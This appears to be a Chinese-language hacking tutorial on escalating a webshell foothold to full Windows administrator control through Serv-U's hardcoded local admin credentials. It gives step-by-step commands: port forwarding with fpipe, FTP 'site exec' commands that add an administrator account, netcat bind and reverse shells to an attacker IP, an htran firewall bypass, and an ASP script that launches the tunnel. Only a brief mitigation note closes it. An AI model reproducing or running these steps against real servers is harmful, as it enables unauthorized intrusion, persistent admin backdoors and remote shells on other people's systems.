Webshell与Serv-u结合提权获取系统最高权限

Serv-U 默认的管理端口为 127.0.0.1:43958，这意味着仅本机可连入该管理端口。默认的管理员账号为 localAdministrator，密码固定为 #l@$ak#.lk;0@P，该密码自早期版本以来从未更改，直至 5.2.0.0 版本仍保持不变。

利用方式如下：首先在目标主机上获得一个普通权限的 shell（无需终端登录或物理控制台，只需能执行命令即可），随后运行端口转发工具，例如 fpipe：fpipe -v -l 12345 -r 43958 127.0.0.1。这样便将本地的 12345 端口映射到了本机的 43958 管理端口。接着，在攻击者机器上打开 Serv-U Administrator，新建一个服务器，IP 填写目标机器的 IP，端口填写 12345，用户填写 LocalAdministrator，密码填写那个固定密码。至此，目标机器的 Serv-U 便完全受控。

那么如何获得一个 shell 呢？常见方式是通过 SQL 注入获取 webshell，或利用动网 7.0 sp2 以下版本的上传漏洞直接上传 webshell。获得 webshell 后，即可上传端口转发工具。

具体实施方法

第一步：端口转发
利用所获得的 webshell 上传 fpipe（或类似工具），随后在目标主机上执行：fpipe -v -l 12345 -r 43958 127.0.0.1。这样便将本地 12345 端口的数据转发至 43958 端口。

第二步：远程管理 Serv-U
在攻击者自己的机器上启动 Serv-U Administrator，新建一个服务器，依次填写：
IP：目标机器的 IP
端口：12345
用户：LocalAdministrator
密码：#l@$ak#.lk;0@P

现在即可像管理本地 Serv-U 一样管理这台远程服务器。新建一个 FTP 账号，将权限设置为系统管理员（System Administrator），并在“目录访问”选项中勾选“执行”权限（Execute）。

第三步：执行命令提权
使用 FTP 客户端连接该新建账号，然后执行以下命令：

quote site exec net user iisuser password /add
quote site exec net localgroup administrators iisuser /add

以上命令会添加一个用户名为 iisuser、密码为 password 的用户，并将其加入管理员组。之后即可用终端连接并登录。

当然，也可进行其他操作，例如上传 nc.exe 以获取管理员权限的 shell，支持正向连接或反向连接。

正向连接：
连上 FTP 后执行：

quote site exec nc.exe -l -p 23 -t -e cmd.exe

此时目标主机变为一个 telnet 服务器，攻击者可以 telnet 到目标机器的 23 端口。

反向连接：
假设攻击者 IP 为 202.96.209.168：
1. 在攻击者机器上先监听：nc -vv -lp 99
2. 在目标主机上执行：nc -e cmd.exe 202.96.209.168 99
这样攻击者机器上便会获得一个目标主机的管理员权限 shell。

绕过防火墙限制

如果目标主机做了端口过滤或配置了防火墙，但防火墙不限制反弹连接（若限制反弹连接则需换用其他方法），可以利用 TCP socket 转发实现。举例如下：

假设攻击者机器为 A，目标机器为 B（不允许正面连接）。攻击者已在 B 上获得了一个 shell（即使是 guest 权限也可）。可以这样连上对方的 43958：

1. 在本地监听两个端口，例如 23 和 56。23 端口等待 B 来连接，56 端口等待攻击者自己连接。
2. 让 B 连接攻击者监听的 23 端口，同时将数据转发到本地的 43958。这样管道便建立成功，对方的防火墙将无法阻挡。

具体实施：

假设攻击者 IP 为 202.96.209.168。

1. 在攻击者机器上运行：htran.exe -listen 23 56
2. 在本地运行 Serv-U Administrator，新建一个服务器，IP 填写本地的 127.0.0.1，端口填写 56，用户 LocalAdministrator，密码 #l@$ak#.lk;0@P。
3. 在目标主机上运行：htran.exe -sla ve 127.0.0.1 43958 202.96.209.168 23

若无法在 webshell 下直接运行，可编写一个 ASP 脚本来执行：

connect.asp
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
oScript.Run (server.mappath("htran") & " -sla ve 127.0.0.1 43958 202.96.209.168 23 ")
%>

随后访问 http://目标网址/connect.asp，若返回空白且无报错，则说明成功。现在即可管理目标服务器的 Serv-U，后续操作可自行发挥。

防止方法

为 Serv-U 打补丁，修改默认端口和管理密码。可以修改 ServUAdmin.exe 和 ServUDaemon.exe 这两个文件。改端口时，只需在 ServUDaemon.ini 文件的 [GLOBAL] 选项中加入：LocalSetupPortNo=12345 即可。

遗憾的是，在 Serv-U 5.2.0.0 版本中，默认的管理端口和密码依然未改，仍为原始设置。